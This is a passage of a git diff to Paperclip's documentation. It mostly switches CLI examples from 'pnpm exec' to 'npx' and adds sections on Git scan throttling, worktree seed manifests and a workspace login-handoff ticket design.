+npx paperclipai admin user list [--query <text>]
+npx paperclipai admin user promote <user-id>
+npx paperclipai admin user demote <user-id>
+npx paperclipai admin user company-access <user-id>
+npx paperclipai admin user company-access:update <user-id> --payload-json '{...}'
 ```
 
 CLI auth challenge endpoints are also exposed for tooling that needs the raw challenge lifecycle:
 
 ```sh
-pnpm exec paperclipai auth challenge create --payload-json '{...}'
-PAPERCLIP_CHALLENGE_SECRET=<challenge-secret> pnpm exec paperclipai auth challenge get <challenge-id> --token-env PAPERCLIP_CHALLENGE_SECRET
-PAPERCLIP_CHALLENGE_SECRET=<challenge-secret> pnpm exec paperclipai auth challenge approve <challenge-id> --token-env PAPERCLIP_CHALLENGE_SECRET
-PAPERCLIP_CHALLENGE_SECRET=<challenge-secret> pnpm exec paperclipai auth challenge cancel <challenge-id> --token-env PAPERCLIP_CHALLENGE_SECRET
-pnpm exec paperclipai auth revoke-current
+npx paperclipai auth challenge create --payload-json '{...}'
+PAPERCLIP_CHALLENGE_SECRET=<challenge-secret> npx paperclipai auth challenge get <challenge-id> --token-env PAPERCLIP_CHALLENGE_SECRET
+PAPERCLIP_CHALLENGE_SECRET=<challenge-secret> npx paperclipai auth challenge approve <challenge-id> --token-env PAPERCLIP_CHALLENGE_SECRET
+PAPERCLIP_CHALLENGE_SECRET=<challenge-secret> npx paperclipai auth challenge cancel <challenge-id> --token-env PAPERCLIP_CHALLENGE_SECRET
+npx paperclipai auth revoke-current
 ```
 
 `--token <challenge-secret>` is still supported for compatibility, but `--token-env` avoids putting challenge secrets in shell history or process arguments.
@@ -790,33 +849,33 @@ pnpm exec paperclipai auth revoke-current
 ## Instance Settings Commands
 
 ```sh
-pnpm exec paperclipai instance scheduler-heartbeats
-pnpm exec paperclipai instance settings:general
-pnpm exec paperclipai instance settings:general:update --payload-json '{...}'
-pnpm exec paperclipai instance settings:experimental
-pnpm exec paperclipai instance settings:experimental:update --payload-json '{...}'
-pnpm exec paperclipai instance database-backup
+npx paperclipai instance scheduler-heartbeats
+npx paperclipai instance settings:general
+npx paperclipai instance settings:general:update --payload-json '{...}'
+npx paperclipai instance settings:experimental
+npx paperclipai instance settings:experimental:update --payload-json '{...}'
+npx paperclipai instance database-backup
 ```
 
 Experimental features are opt-in and are provided without compatibility guarantees. They may break, change, or be removed at any time. Use them at your own risk.
 
 ```sh
-pnpm exec paperclipai sidebar preferences
-pnpm exec paperclipai sidebar preferences:update --payload-json '{...}'
-pnpm exec paperclipai sidebar project-preferences --company-id <company-id>
-pnpm exec paperclipai sidebar project-preferences:update --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai sidebar badges --company-id <company-id>
-pnpm exec paperclipai inbox dismissals --company-id <company-id>
-pnpm exec paperclipai inbox dismiss --company-id <company-id> --payload-json '{"itemKey":"run:<run-id>"}'
-pnpm exec paperclipai board-claim show <token>
-pnpm exec paperclipai board-claim claim <token> [--payload-json '{...}']
-pnpm exec paperclipai openclaw invite-prompt --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai available-skill list
-pnpm exec paperclipai available-skill index
-pnpm exec paperclipai available-skill get <skill-name>
-pnpm exec paperclipai llm agent-configuration
-pnpm exec paperclipai llm agent-configuration:adapter <adapter-type>
-pnpm exec paperclipai llm agent-icons
+npx paperclipai sidebar preferences
+npx paperclipai sidebar preferences:update --payload-json '{...}'
+npx paperclipai sidebar project-preferences --company-id <company-id>
+npx paperclipai sidebar project-preferences:update --company-id <company-id> --payload-json '{...}'
+npx paperclipai sidebar badges --company-id <company-id>
+npx paperclipai inbox dismissals --company-id <company-id>
+npx paperclipai inbox dismiss --company-id <company-id> --payload-json '{"itemKey":"run:<run-id>"}'
+npx paperclipai board-claim show <token>
+npx paperclipai board-claim claim <token> [--payload-json '{...}']
+npx paperclipai openclaw invite-prompt --company-id <company-id> --payload-json '{...}'
+npx paperclipai available-skill list
+npx paperclipai available-skill index
+npx paperclipai available-skill get <skill-name>
+npx paperclipai llm agent-configuration
+npx paperclipai llm agent-configuration:adapter <adapter-type>
+npx paperclipai llm agent-icons
 ```
 
 Hermes gateway uses the generic invite/join commands above rather than
@@ -829,101 +888,101 @@ commands. See [HERMES_GATEWAY_ONBOARDING.md](./HERMES_GATEWAY_ONBOARDING.md).
 ## Adapter, Asset, And Skill Commands
 
 ```sh
-pnpm exec paperclipai adapter list
-pnpm exec paperclipai adapter install --payload-json '{"packageName":"@scope/adapter","version":"1.2.3"}'
-pnpm exec paperclipai adapter get <adapter-type>
-pnpm exec paperclipai adapter update <adapter-type> --payload-json '{"disabled":true}'
-pnpm exec paperclipai adapter override <adapter-type> --payload-json '{"paused":true}'
-pnpm exec paperclipai adapter reload <adapter-type>
-pnpm exec paperclipai adapter reinstall <adapter-type>
-pnpm exec paperclipai adapter delete <adapter-type>
-pnpm exec paperclipai adapter config-schema <adapter-type>
-pnpm exec paperclipai adapter ui-parser <adapter-type>
-pnpm exec paperclipai adapter models <adapter-type> --company-id <company-id> [--refresh] [--environment-id <id>]
-pnpm exec paperclipai adapter model-profiles <adapter-type> --company-id <company-id>
-pnpm exec paperclipai adapter detect-model <adapter-type> --company-id <company-id>
-pnpm exec paperclipai adapter test-environment <adapter-type> --company-id <company-id> --payload-json '{...}'
+npx paperclipai adapter list
+npx paperclipai adapter install --payload-json '{"packageName":"@scope/adapter","version":"1.2.3"}'
+npx paperclipai adapter get <adapter-type>
+npx paperclipai adapter update <adapter-type> --payload-json '{"disabled":true}'
+npx paperclipai adapter override <adapter-type> --payload-json '{"paused":true}'
+npx paperclipai adapter reload <adapter-type>
+npx paperclipai adapter reinstall <adapter-type>
+npx paperclipai adapter delete <adapter-type>
+npx paperclipai adapter config-schema <adapter-type>
+npx paperclipai adapter ui-parser <adapter-type>
+npx paperclipai adapter models <adapter-type> --company-id <company-id> [--refresh] [--environment-id <id>]
+npx paperclipai adapter model-profiles <adapter-type> --company-id <company-id>
+npx paperclipai adapter detect-model <adapter-type> --company-id <company-id>
+npx paperclipai adapter test-environment <adapter-type> --company-id <company-id> --payload-json '{...}'
 ```
 
 ```sh
-pnpm exec paperclipai asset image:upload --company-id <company-id> --file ./image.png [--namespace docs] [--alt "..."]
-pnpm exec paperclipai asset logo:upload --company-id <company-id> --file ./logo.svg
-pnpm exec paperclipai asset content <asset-id> --out ./asset.bin
+npx paperclipai asset image:upload --company-id <company-id> --file ./image.png [--namespace docs] [--alt "..."]
+npx paperclipai asset logo:upload --company-id <company-id> --file ./logo.svg
+npx paperclipai asset content <asset-id> --out ./asset.bin
 ```
 
 ```sh
-pnpm exec paperclipai skill list --company-id <company-id>
-pnpm exec paperclipai skill get <skill-id> --company-id <company-id>
-pnpm exec paperclipai skill file <skill-id> --company-id <company-id> [--path SKILL.md]
-pnpm exec paperclipai skill create --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai skill file:update <skill-id> --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai skill import --company-id <company-id> --payload-json '{"source":"github:owner/repo/path"}'
-pnpm exec paperclipai skill scan-projects --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai skill update-status <skill-id> --company-id <company-id>
-pnpm exec paperclipai skill install-update <skill-id> --company-id <company-id>
-pnpm exec paperclipai skill delete <skill-id> --company-id <company-id>
+npx paperclipai skill list --company-id <company-id>
+npx paperclipai skill get <skill-id> --company-id <company-id>
+npx paperclipai skill file <skill-id> --company-id <company-id> [--path SKILL.md]
+npx paperclipai skill create --company-id <company-id> --payload-json '{...}'
+npx paperclipai skill file:update <skill-id> --company-id <company-id> --payload-json '{...}'
+npx paperclipai skill import --company-id <company-id> --payload-json '{"source":"github:owner/repo/path"}'
+npx paperclipai skill scan-projects --company-id <company-id> --payload-json '{...}'
+npx paperclipai skill update-status <skill-id> --company-id <company-id>
+npx paperclipai skill install-update <skill-id> --company-id <company-id>
+npx paperclipai skill delete <skill-id> --company-id <company-id>
 ```
 
 ## Cost, Finance, And Budget Commands
 
 ```sh
-pnpm exec paperclipai cost summary --company-id <company-id>
-pnpm exec paperclipai cost by-agent --company-id <company-id>
-pnpm exec paperclipai cost by-agent-model --company-id <company-id>
-pnpm exec paperclipai cost by-provider --company-id <company-id>
-pnpm exec paperclipai cost by-biller --company-id <company-id>
-pnpm exec paperclipai cost by-project --company-id <company-id>
-pnpm exec paperclipai cost window-spend --company-id <company-id>
-pnpm exec paperclipai cost quota-windows --company-id <company-id>
-pnpm exec paperclipai cost issue <issue-id>
-pnpm exec paperclipai cost event:create --company-id <company-id> --payload-json '{...}'
+npx paperclipai cost summary --company-id <company-id>
+npx paperclipai cost by-agent --company-id <company-id>
+npx paperclipai cost by-agent-model --company-id <company-id>
+npx paperclipai cost by-provider --company-id <company-id>
+npx paperclipai cost by-biller --company-id <company-id>
+npx paperclipai cost by-project --company-id <company-id>
+npx paperclipai cost window-spend --company-id <company-id>
+npx paperclipai cost quota-windows --company-id <company-id>
+npx paperclipai cost issue <issue-id>
+npx paperclipai cost event:create --company-id <company-id> --payload-json '{...}'
 ```
 
 ```sh
-pnpm exec paperclipai finance event:create --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai finance events --company-id <company-id>
-pnpm exec paperclipai finance summary --company-id <company-id>
-pnpm exec paperclipai finance by-biller --company-id <company-id>
-pnpm exec paperclipai finance by-kind --company-id <company-id>
-pnpm exec paperclipai budget overview --company-id <company-id>
-pnpm exec paperclipai budget policy:upsert --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai budget company:update --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai budget agent:update <agent-id> --payload-json '{...}'
-pnpm exec paperclipai budget incident:resolve <incident-id> --company-id <company-id> [--payload-json '{...}']
+npx paperclipai finance event:create --company-id <company-id> --payload-json '{...}'
+npx paperclipai finance events --company-id <company-id>
+npx paperclipai finance summary --company-id <company-id>
+npx paperclipai finance by-biller --company-id <company-id>
+npx paperclipai finance by-kind --company-id <company-id>
+npx paperclipai budget overview --company-id <company-id>
+npx paperclipai budget policy:upsert --company-id <company-id> --payload-json '{...}'
+npx paperclipai budget company:update --company-id <company-id> --payload-json '{...}'
+npx paperclipai budget agent:update <agent-id> --payload-json '{...}'
+npx paperclipai budget incident:resolve <incident-id> --company-id <company-id> [--payload-json '{...}']
 ```
 
 ## Workspace And Environment Commands
 
 ```sh
-pnpm exec paperclipai workspace list --company-id <company-id>
-pnpm exec paperclipai workspace get <execution-workspace-id>
-pnpm exec paperclipai workspace close-readiness <execution-workspace-id>
-pnpm exec paperclipai workspace operations <execution-workspace-id>
-pnpm exec paperclipai workspace update <execution-workspace-id> --payload-json '{...}'
-pnpm exec paperclipai workspace runtime-service <execution-workspace-id> start --payload-json '{...}'
-pnpm exec paperclipai workspace runtime-command <execution-workspace-id> run --payload-json '{...}'
+npx paperclipai workspace list --company-id <company-id>
+npx paperclipai workspace get <execution-workspace-id>
+npx paperclipai workspace close-readiness <execution-workspace-id>
+npx paperclipai workspace operations <execution-workspace-id>
+npx paperclipai workspace update <execution-workspace-id> --payload-json '{...}'
+npx paperclipai workspace runtime-service <execution-workspace-id> start --payload-json '{...}'
+npx paperclipai workspace runtime-command <execution-workspace-id> run --payload-json '{...}'
 ```
 
 ```sh
-pnpm exec paperclipai environment list --company-id <company-id>
-pnpm exec paperclipai environment capabilities --company-id <company-id>
-pnpm exec paperclipai environment create --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai environment get <environment-id>
-pnpm exec paperclipai environment leases <environment-id>
-pnpm exec paperclipai environment lease <lease-id>
-pnpm exec paperclipai environment update <environment-id> --payload-json '{...}'
-pnpm exec paperclipai environment delete <environment-id>
-pnpm exec paperclipai environment probe <environment-id>
-pnpm exec paperclipai environment probe-config --company-id <company-id> --payload-json '{...}'
+npx paperclipai environment list --company-id <company-id>
+npx paperclipai environment capabilities --company-id <company-id>
+npx paperclipai environment create --company-id <company-id> --payload-json '{...}'
+npx paperclipai environment get <environment-id>
+npx paperclipai environment leases <environment-id>
+npx paperclipai environment lease <lease-id>
+npx paperclipai environment update <environment-id> --payload-json '{...}'
+npx paperclipai environment delete <environment-id>
+npx paperclipai environment probe <environment-id>
+npx paperclipai environment probe-config --company-id <company-id> --payload-json '{...}'
 ```
 
 ```sh
-pnpm exec paperclipai project-workspace list <project-id>
-pnpm exec paperclipai project-workspace create <project-id> --payload-json '{...}'
-pnpm exec paperclipai project-workspace update <project-id> <workspace-id> --payload-json '{...}'
-pnpm exec paperclipai project-workspace delete <project-id> <workspace-id>
-pnpm exec paperclipai project-workspace runtime-service <project-id> <workspace-id> restart --payload-json '{...}'
-pnpm exec paperclipai project-workspace runtime-command <project-id> <workspace-id> run --payload-json '{...}'
+npx paperclipai project-workspace list <project-id>
+npx paperclipai project-workspace create <project-id> --payload-json '{...}'
+npx paperclipai project-workspace update <project-id> <workspace-id> --payload-json '{...}'
+npx paperclipai project-workspace delete <project-id> <workspace-id>
+npx paperclipai project-workspace runtime-service <project-id> <workspace-id> restart --payload-json '{...}'
+npx paperclipai project-workspace runtime-command <project-id> <workspace-id> run --payload-json '{...}'
 ```
 
 ## Plugin Commands
@@ -931,36 +990,36 @@ pnpm exec paperclipai project-workspace runtime-command <project-id> <workspace-
 Existing plugin lifecycle commands remain available: `plugin init`, `list`, `install`, `uninstall`, `enable`, `disable`, `inspect`, and `examples`.
 
 ```sh
-pnpm exec paperclipai plugin ui-contributions
-pnpm exec paperclipai plugin tools
-pnpm exec paperclipai plugin tool:execute --payload-json '{...}'
-pnpm exec paperclipai plugin health <plugin-id>
-pnpm exec paperclipai plugin logs <plugin-id>
-pnpm exec paperclipai plugin upgrade <plugin-id>
-pnpm exec paperclipai plugin config <plugin-id> --company-id <company-id>
-pnpm exec paperclipai plugin config:set <plugin-id> --company-id <company-id> --payload-json '{"configJson":{...}}'
-pnpm exec paperclipai plugin config:test <plugin-id> --company-id <company-id> --payload-json '{"configJson":{...}}'
-pnpm exec paperclipai plugin jobs <plugin-id>
-pnpm exec paperclipai plugin job:runs <plugin-id> <job-id>
-pnpm exec paperclipai plugin job:trigger <plugin-id> <job-id> [--payload-json '{...}']
-pnpm exec paperclipai plugin webhook <plugin-id> <endpoint-key> [--payload-json '{...}']
-pnpm exec paperclipai plugin dashboard <plugin-id>
-pnpm exec paperclipai plugin bridge:data <plugin-id> --payload-json '{...}'
-pnpm exec paperclipai plugin bridge:action <plugin-id> --payload-json '{...}'
-pnpm exec paperclipai plugin bridge:stream <plugin-id> <channel> [--duration-ms 10000]
-pnpm exec paperclipai plugin data <plugin-id> <key> --payload-json '{...}'
-pnpm exec paperclipai plugin action <plugin-id> <key> --payload-json '{...}'
-pnpm exec paperclipai plugin local-folders <plugin-id> --company-id <company-id>
-pnpm exec paperclipai plugin local-folder:status <plugin-id> <folder-key> --company-id <company-id>
-pnpm exec paperclipai plugin local-folder:validate <plugin-id> <folder-key> --company-id <company-id> [--payload-json '{...}']
-pnpm exec paperclipai plugin local-folder:set <plugin-id> <folder-key> --company-id <company-id> --payload-json '{...}'
+npx paperclipai plugin ui-contributions
+npx paperclipai plugin tools
+npx paperclipai plugin tool:execute --payload-json '{...}'
+npx paperclipai plugin health <plugin-id>
+npx paperclipai plugin logs <plugin-id>
+npx paperclipai plugin upgrade <plugin-id>
+npx paperclipai plugin config <plugin-id> --company-id <company-id>
+npx paperclipai plugin config:set <plugin-id> --company-id <company-id> --payload-json '{"configJson":{...}}'
+npx paperclipai plugin config:test <plugin-id> --company-id <company-id> --payload-json '{"configJson":{...}}'
+npx paperclipai plugin jobs <plugin-id>
+npx paperclipai plugin job:runs <plugin-id> <job-id>
+npx paperclipai plugin job:trigger <plugin-id> <job-id> [--payload-json '{...}']
+npx paperclipai plugin webhook <plugin-id> <endpoint-key> [--payload-json '{...}']
+npx paperclipai plugin dashboard <plugin-id>
+npx paperclipai plugin bridge:data <plugin-id> --payload-json '{...}'
+npx paperclipai plugin bridge:action <plugin-id> --payload-json '{...}'
+npx paperclipai plugin bridge:stream <plugin-id> <channel> [--duration-ms 10000]
+npx paperclipai plugin data <plugin-id> <key> --payload-json '{...}'
+npx paperclipai plugin action <plugin-id> <key> --payload-json '{...}'
+npx paperclipai plugin local-folders <plugin-id> --company-id <company-id>
+npx paperclipai plugin local-folder:status <plugin-id> <folder-key> --company-id <company-id>
+npx paperclipai plugin local-folder:validate <plugin-id> <folder-key> --company-id <company-id> [--payload-json '{...}']
+npx paperclipai plugin local-folder:set <plugin-id> <folder-key> --company-id <company-id> --payload-json '{...}'
 ```
 
 Feedback traces can be fetched directly by ID when automating export workflows:
 
 ```sh
-pnpm exec paperclipai feedback trace <trace-id>
-pnpm exec paperclipai feedback bundle <trace-id>
+npx paperclipai feedback trace <trace-id>
+npx paperclipai feedback bundle <trace-id>
 ```
 
 ## Heartbeat Command
@@ -968,7 +1027,7 @@ pnpm exec paperclipai feedback bundle <trace-id>
 `heartbeat run` now also supports context/api-key options and uses the shared client stack:
 
 ```sh
-pnpm exec paperclipai heartbeat run --agent-id <agent-id> [--api-base http://localhost:3100] [--api-key <token>]
+npx paperclipai heartbeat run --agent-id <agent-id> [--api-base http://localhost:3100] [--api-key <token>]
 ```
 
 ## Local Storage Defaults
diff --git a/doc/DATABASE.md b/doc/DATABASE.md
index 18a7208f208..7adb43eb295 100644
--- a/doc/DATABASE.md
+++ b/doc/DATABASE.md
@@ -267,7 +267,7 @@ pnpm paperclipai configure --section secrets
 Inline secret migration command:
 
 ```sh
-pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id> --apply
+npx paperclipai secrets migrate-inline-env --company-id <company-id> --apply
 
 # direct database maintenance fallback
 pnpm secrets:migrate-inline-env --apply
diff --git a/doc/DEPLOYMENT-MODES.md b/doc/DEPLOYMENT-MODES.md
index 66147b0bd85..8635e3a036d 100644
--- a/doc/DEPLOYMENT-MODES.md
+++ b/doc/DEPLOYMENT-MODES.md
@@ -87,8 +87,8 @@ Examples:
 
 ```sh
 pnpm paperclipai onboard --yes
-pnpm paperclipai onboard --yes --bind lan
-pnpm paperclipai run --bind tailnet
+npx paperclipai onboard --yes --bind lan
+npx paperclipai run --bind tailnet
 ```
 
 `configure --section server` follows the same interactive behavior.
diff --git a/doc/DEVELOPING.md b/doc/DEVELOPING.md
index d446e818a81..20747f26818 100644
--- a/doc/DEVELOPING.md
+++ b/doc/DEVELOPING.md
@@ -12,7 +12,7 @@ Current implementation status:
 
 ## Prerequisites
 
-- Node.js 20+
+- Node.js 24.11+
 - pnpm 9+
 
 ## Dependency Lockfile Policy
@@ -230,7 +230,7 @@ pnpm dev --authenticated-private
 Allow additional private hostnames (for example custom Tailscale hostnames):
 
 ```sh
-pnpm exec paperclipai allowed-hostname dotta-macbook-pro
+npx paperclipai allowed-hostname dotta-macbook-pro
 ```
 
 ## Test Commands
@@ -327,6 +327,8 @@ Every local install keeps runtime state directly under the selected instance roo
     storage/                                     # local_disk uploads
     backups/                                     # automatic DB backups
   logs/
+  runtime-services/                             # managed local-service registry
+  runtime-service-logs/                         # append-only managed-service stdout/stderr
   secrets/master.key                             # local_encrypted master key
   workspaces/<agent-id>/                         # default agent workspaces
   projects/                                      # project execution workspaces
@@ -425,6 +427,21 @@ Agent, project, environment, secret, skill, and workspace config edits are sampl
 
 When effective run config changes, Paperclip may intentionally skip a saved adapter session, refresh persisted workspace runtime config, replace a reused execution workspace, or avoid reusing a sandbox/environment lease. Fresh execution can lose adapter-specific session, workspace, or sandbox state; correctness of the next run's config takes priority over continuity. Plain environment values affect freshness through value hashes; run result JSON and workspace operation logs expose only the non-sensitive freshness decision categories, without storing secret values, full env maps, provider credentials, or private path details.
 
+## Workspace Git Scan Protection
+
+Paperclip applies one process-wide scheduler to expensive host-side workspace Git enumeration, including changed-file browsing, runtime/finalization cleanliness guards, and adapter sandbox-sync snapshots. The scheduler defaults to two active scans and a bounded queue of 32. Identical scans of the same canonical worktree share one subprocess, while successful changed-file listings are cached for 10 seconds. Correctness-sensitive runtime guards bypass the result cache.
+
+The cache intentionally trades up to a few seconds of changed-file freshness for stable server latency. The file browser retains an explicit refresh action, does not start its query while the panel or browser tab is hidden, and presents overloads as retryable failures rather than an empty workspace. A full queue returns `503` with code `workspace_git_scan_saturated`; a scan exceeding its wall-clock limit returns `504` with code `workspace_git_scan_timeout`. Both responses include `Retry-After: 1`.
+
+Environment overrides:
+
+- `PAPERCLIP_WORKSPACE_GIT_SCAN_CONCURRENCY` (default `2`, range `1`–`16`)
+- `PAPERCLIP_WORKSPACE_GIT_SCAN_QUEUE_CAPACITY` (default `32`, range `0`–`1024`)
+- `PAPERCLIP_WORKSPACE_GIT_SCAN_TIMEOUT_MS` (default `8000`, range `100`–`120000`)
+- `PAPERCLIP_WORKSPACE_GIT_SCAN_CACHE_TTL_MS` (default `10000`, range `0`–`60000`)
+
+Structured `workspace_git_scan` logs expose the operation name, a non-reversible workspace-path hash, queue and execution durations, active/queued counts, cache and single-flight use, and terminal outcome. Saturation and timeout warnings are rate-limited so an overload does not create a second logging storm.
+
 ## Worktree-local Instances
 
 When developing from multiple git worktrees, do not point two Paperclip servers at the same embedded PostgreSQL data directory.
@@ -434,7 +451,7 @@ Instead, create a repo-local Paperclip config plus an isolated instance for the
 ```sh
 paperclipai worktree init
 # or create the git worktree and initialize it in one step:
-pnpm paperclipai worktree:make paperclip-pr-432
+npx paperclipai worktree:make paperclip-pr-432
 ```
 
 This command:
@@ -454,6 +471,8 @@ Seed modes:
 
 Seeded worktree instances quarantine copied live execution by default for both `minimal` and `full` seeds. During restore, Paperclip disables copied agent timer heartbeats, resets copied `running` agents to `idle`, blocks and unassigns copied agent-owned `in_progress` issues, and unassigns copied agent-owned `todo`/`in_review` issues. This keeps a freshly booted worktree from starting agents for work already owned by the source instance. Pass `--preserve-live-work` only when you intentionally want the isolated worktree to resume copied assignments.
 
+The same quarantine stops copied project/execution-workspace runtime desired states and clears copied runtime process claims. Without this reset, booting the cloned Paperclip database could restart a source workspace's dev service from the isolated instance, creating duplicate runners, port reassignment, and stale public URLs.
+
 After `worktree init`, both the server and the CLI auto-load the repo-local `.paperclip/.env` when run inside that worktree, so normal commands like `pnpm dev`, `paperclipai doctor`, and `paperclipai db:backup` stay scoped to the worktree instance.
 
 `pnpm dev` now fails fast in a linked git worktree when `.paperclip/.env` is missing, instead of silently booting against the default instance/port. If that happens, run `paperclipai worktree init` in the worktree first.
@@ -462,25 +481,29 @@ After `worktree init`, both the server and the CLI auto-load the repo-local `.pa
 
 Seeding a worktree database is the heaviest part of `worktree init`. That work can be deferred so a worktree is cheap to create and only pays the seed cost the first time it is actually used — the CLI/dev-time analog of the server's lazy runtime provisioning (see the board-operator guide's "Lazy runtime provisioning" section).
 
-Seeding state is tracked with two marker files under the worktree's `.paperclip/` directory:
+Seeding state is tracked in `.paperclip/seed-manifest.json`. The versioned manifest records only non-secret evidence: source instance id/config path, target instance id, seed mode, snapshot time, migration revision, attempt timestamps, current phase, terminal state, and a bounded phase diagnostic history. It never stores database credentials or auth credential material. The legacy `seed-pending` and `seed-complete` files remain read-only compatibility signals for worktrees created before the manifest shipped.
 
-- `seed-pending` — the isolated database has not been seeded yet (a **lean** worktree). Written by `worktree init` before any seed runs.
-- `seed-complete` — the database was seeded; the pending marker is removed.
+The default `worktree init` still seeds eagerly. A lean worktree (created without an eager seed) has a `pending` manifest until something seeds it on demand:
 
-The default `worktree init` still seeds eagerly and writes `seed-complete` immediately. A lean worktree (created without an eager seed) keeps its `seed-pending` marker until something seeds it on demand:
+- `pnpm paperclipai worktree ensure-seeded` performs the deferred seed **exactly once**. It is lock-guarded and idempotent: only a complete `verified` manifest short-circuits it, so it is safe to call repeatedly and from concurrent processes. Managed workspaces derive the source from the control-plane-provided base project workspace when it carries its own `.paperclip/config.json`, and otherwise from the control plane's own registered instance config; either way the workspace's manifest never selects it. Manual worktrees must pass `--from-config`.
+- `paperclipai run` calls `ensureWorktreeSeeded` automatically before doctor/boot. Managed runs transparently seed a lean worktree from their registered base workspace; an unmanaged lean worktree must first run `worktree ensure-seeded --from-config <source-config>`.
+- Managed Paperclip git worktrees default to the repository's `scripts/provision-worktree.sh` when the strategy omits `provisionCommand`, so the isolated config and pending manifest cannot be silently skipped. Runtime startup also runs `scripts/provision-worktree-runtime.sh` automatically when no explicit runtime provision command is configured and the manifest is not verified. Explicitly configured provision commands still take precedence.
+- The built-in deferred seed is recorded as its own terminal `workspace_seed` operation. A zero exit code is not enough for success: the operation succeeds only when `.paperclip/seed-manifest.json` contains complete verified evidence; failed, missing, or malformed manifests produce a failed operation with the seed phase in metadata.
+- Worktrees created before lazy seeding shipped may have neither marker. Paperclip adopts them only after their configured database proves a compatible migration journal and the core Paperclip schema; otherwise managed startup creates a pending manifest and performs the normal verified seed. Manual markerless worktrees must provide `--from-config` so the source remains explicit.
 
-- `pnpm paperclipai worktree ensure-seeded` performs the deferred seed **exactly once**. It is lock-guarded and idempotent: a present `seed-complete` marker or a missing `seed-pending` marker short-circuits it, so it is safe to call repeatedly and from concurrent processes. It reads the source instance from the `seed-pending` marker unless you pass `--from-config`.
-- `paperclipai run` calls `ensureWorktreeSeeded` automatically before doctor/boot, so `run` transparently seeds a lean worktree on first launch.
-- Managed git-worktree runtime startup also runs `scripts/provision-worktree-runtime.sh` automatically when a legacy workspace policy has no explicit runtime provision command and the worktree is still `seed-pending`. An explicitly configured runtime provision command always takes precedence.
-- Worktrees created before lazy seeding shipped have neither marker; they are treated as already-seeded for backward compatibility (never re-cloned).
+Both `minimal` and `full` modes use the same terminal data-validation contract. Source validation accepts a migration journal that is a prefix of the checkout's journal and records the source revision in seed diagnostics; it rejects a source that is ahead of the checkout because that would require a downgrade. After restore, Paperclip applies pending migrations and requires the target journal to be current. Both validations also read an auth user with an instance administrator role, active company membership, and representative cloned company/issue pair. Authenticated instances additionally require that administrator to have a non-empty credential account. `local_trusted` instances accept the implicit local Board user without an account row because that mode intentionally has no human login flow. Restore, migrations, execution quarantine, routine pausing, workspace rebinding, and post-restore validation all run under the seed lock. An interruption leaves the exact active phase in terminal `failed` state; it cannot produce readiness evidence.
 
-**Seed-pending guard.** `pnpm dev` (the dev-runner) refuses to boot a worktree whose database is still `seed-pending` and points you at the fix:
+The seed process must own the target embedded PostgreSQL lifecycle for that entire sequence. It refuses to restore into a target postmaster that is already running, suppresses the embedded provider's process-global exit hooks, and stops its owned target only after validation or failure cleanup. A shutdown detected during restore is recorded as a target-database shutdown diagnostic rather than a generic restore failure.
+
+The seed manifest never grants source-path authority. Its source path and instance are diagnostic assertions derived from the realpath-canonical registered source. Deferred seeding resolves registration independently before taking the seed lock; under that lock it replaces stale source diagnostics from the registered value and then revalidates the manifest before any backup, service stop, spawn, or database mutation. Missing registration, invalid registered paths, source/target identity collisions, target-instance mismatches, and company mismatches fail closed.
+
+**Unverified-seed guard.** `pnpm dev` (the dev-runner) refuses to boot a worktree whose manifest is pending, running, failed, malformed, or missing required verification evidence and points you at the fix:
 
 ```
 [paperclip] this worktree database is seed-pending. Run `pnpm paperclipai worktree ensure-seeded` before `pnpm dev`.
 ```
 
-This guard (`isWorktreeSeedPending` in `server/src/dev-runner-worktree.ts`) prevents `pnpm dev` from starting the app against an empty, unseeded database — run `worktree ensure-seeded` once and re-run `pnpm dev`.
+This guard (`isWorktreeSeedPending` in `server/src/dev-runner-worktree.ts`) prevents `pnpm dev` from starting the app against an empty or partially restored database — run `worktree ensure-seeded` once and re-run `pnpm dev`.
 
 Provisioned git worktrees also pause seeded routines that still have enabled schedule triggers in the isolated worktree database by default. This prevents copied daily/cron routines from firing unexpectedly inside the new workspace instance during development without disabling webhook/API-only routines.
 
@@ -505,9 +528,30 @@ paperclipai worktree env
 eval "$(paperclipai worktree env)"
 ```
 
+### Workspace login handoff and readiness
+
+Opening a managed workspace board no longer depends on knowing which cloned password is current. `Open workspace` asks the main control plane for a short-lived, single-use ticket; the isolated workspace verifies it and creates its own instance-scoped Better Auth session.
+
+- **Issue** — `POST /api/execution-workspaces/{id}/login-handoff` (board actors only). The ticket is bound to the caller's user id and email, the execution workspace id, the workspace's company id, the isolated instance id, the live runtime origin, a nonce, and a ~90 s expiry. Nothing in the request body influences that binding; only the landing path is caller-supplied and it is reduced to a same-origin path before signing.
+- **Exchange** — `GET /api/auth/{workspace-handoff}/exchange?ticket=…` on the workspace itself, registered as a Better Auth plugin so session creation and cookie signing use Better Auth's own path. It verifies the signature, expiry, origin, instance, workspace, company, the cloned user's email, and an active membership **in that company**, records the nonce so a replay loses, and answers with an HTTP redirect — which is what keeps the ticket out of browser history. Request logs redact the `ticket` parameter.
+- **Fallback** — direct email/password sign-in still works and the UI labels it accurately as *snapshot-local credentials*. A rejected ticket redirects to `/auth?workspaceHandoffError=<reason>` rather than failing opaquely.
+
+Key material is derived, never shared. The control plane keeps a root secret (`PAPERCLIP_WORKSPACE_HANDOFF_SECRET`, or a domain-separated derivation from the instance's existing signing secret when that is unset) and injects only per-workspace values into the guest process:
+
+| Variable | Purpose |
+| --- | --- |
+| `PAPERCLIP_WORKSPACE_HANDOFF_KEY` | Per-workspace ticket verification key. A guest cannot mint a ticket for a sibling workspace. |
+| `PAPERCLIP_WORKSPACE_READINESS_TOKEN` | Bearer token the control plane presents to read this workspace's protected readiness. |
+| `PAPERCLIP_EXECUTION_WORKSPACE_ID` | Execution workspace the guest was provisioned for, used for identity checks. |
+| `PAPERCLIP_EXECUTION_WORKSPACE_COMPANY_ID` | Company whose board the guest represents. Scopes both the membership check and the readiness probes, so "some company in the clone is fine" cannot pass for the one being opened. |
+
